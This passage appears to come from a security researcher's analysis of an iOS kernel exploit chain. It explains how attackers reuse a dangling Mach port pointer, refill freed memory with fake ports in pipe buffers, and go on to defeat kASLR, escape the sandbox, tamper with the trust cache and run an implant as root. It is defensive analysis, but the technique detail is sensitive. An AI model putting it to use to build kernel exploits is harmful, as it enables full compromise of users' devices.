Path to a fake kernel task port

Unlike the previous chains, they don't proceed to destroy the corrupted out-of-line ports descriptor. Instead they destroy their send right to target_port (the port which has had an extra port pointer written into a out-of-line ports descriptor). This means that the out-of-line ports descriptor now has the dangling port pointer, not the task's port namespace table. They destroy before_ports and after_ports then force a GC. Note that this means they no longer have a send right to the dangling ipc_port in their task's port namespace. They still retain their receive right to the port to which the corrupted out-of-line ports descriptor was sent though, so by receiving the message enqueued on that port they can regain the send right to the dangling port.

Ports in pipes

This time they proceed to directly try to reallocate the memory backing the target port with a pipe buffer, using the familiar fake port structure.

They fill all the pipe buffers with fake ports using the following context value:

magic << 32 | 0x80000000 | fd << 16 | port_index_on_page

They then receive all the messages containing the out-of-line ports descriptors, looking to see if any of them contain port rights. If any port is found here, then it's the dangling pointer to the target port.

They call mach_port_get_context on the received port and ensure that the upper 32-bits of the context value match the magic value (0x2333) which they set. From the lower 32-bits they determine which pipe fd owns the replacing buffer, and what the offset of the fake port is on that page.

Everything from here proceeds as before. They build a fake clock port in the pipe buffer and use the clock_sleep_trap trick to determine the kASLR slide. They build a fake kernel task port; escape the sandbox, patch the platform policy, add the implant CDHash to the trust cache and spawn the implant as root.

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